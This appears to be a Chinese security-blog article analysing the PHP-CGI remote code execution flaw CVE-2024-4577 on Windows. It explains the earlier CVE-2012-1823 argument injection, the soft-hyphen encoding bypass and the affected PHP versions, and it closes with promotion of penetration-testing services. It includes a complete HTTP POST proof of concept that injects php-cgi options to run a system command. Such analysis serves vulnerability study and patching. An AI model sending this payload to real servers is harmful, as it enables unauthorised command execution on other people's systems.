实战-最新PHP-RCE+详细分析(CVE-2024-4577)

实战-最新PHP-RCE+详细分析(CVE-2024-4577)

原创 Gatsby 极梦C 2024-06-08 11:16

前言

最新PHP-RCE详细分析(CVE-2024-4577)

是一种对
CVE-2012-1823的一种绕过

不是星标不推送文章了。

师傅也不想吧~

快把
极梦C设置成星标吧。

前身

最新的php rce是建立在CVE-2012-1823基础上的一次编码绕过,而CVE-2012-1823的成因简单来说就是在CGI模式下,用户请求的querystring被作为了php-cgi的参数传递给php-cgi.exe成功解析执行,造成RCE。

php-cgi.exe接收的参数
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
-s查看元件源码

攻击过程

urlcode编码中%3D为=,%3A为:  -d allow_url_include=on控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码-d auto_prepend_file=php://inputphp://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入

所以使用以下payload就使得能够允许文件包含,而文件包含是读入的POST数据流作为脚本.

poc如下:

POST /index.php?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input HTTP/1.1
Host: xxxxx.com
Content-Length: 25

<?php system("whoami");?>

后面官方修补的补丁中也就是把”-”这个字符给匹配过滤了

而最新版的RCE之所以只会影响繁体中文、简体中文、日文这三个语言版本的windows系统,

就是因为有大神找到了-的编码绕过方式,在我们带入参数拼接前宽字节会被转换,0x00ad显然不是一个完整的字节,而是一部分字节。

而在中文GBK编码中正好可以找到一个-来对其进行%ad编码从而绕过

实战截图

总结

1.具有简体中文、繁体中文、日文的Windows系统,支持bestfit936 GBK编码

  1. 开发是在CGI(单PHP)环境中,利用条件很苛刻

  2. PHP局限在一定的版本

提醒

phpstudy集成中没漏洞版本。

漏洞版本:

PHP 8.3 < 8.3.8              

PHP 8.2 < 8.2.20          

PHP 8.1 < 8.1.29

承接红蓝对抗,安全众测,安全培训,SRC培训,代码审计,渗透测试,
应急响应,免杀等.

(
安全可靠,排名稳定,战绩可查.
)

星球内容

正式运营星球:

1.src真实漏洞挖掘案例分享(永久不定时更新),过程详细一看就会哦。2.自研/二开等工具/平台的分享。3.漏洞分析/资料共享等。

关于文章/Tools获取方式:请关注交流群或者知识星球。

关于交流群:因为某些原因,更改一下交流群的获取方式:

1.请点击
联系我们->联系官方->客服小助手添加二维码拉群 。  

关于知识星球的获取方式:

1.后台回复发送 “
知识星球”,即可获取知识星球二维码。

2如若上述方式不行,请点击
联系我们->联系官方
->客服小助手添加二维码进入星球 。  

3.为了提高质量,
推出”
免费名人堂”
名额,
后台回复发送 “
知识星球
“了解详情。

免责声明

本公众号文章以
技术分享学习为目的。

由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。

一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!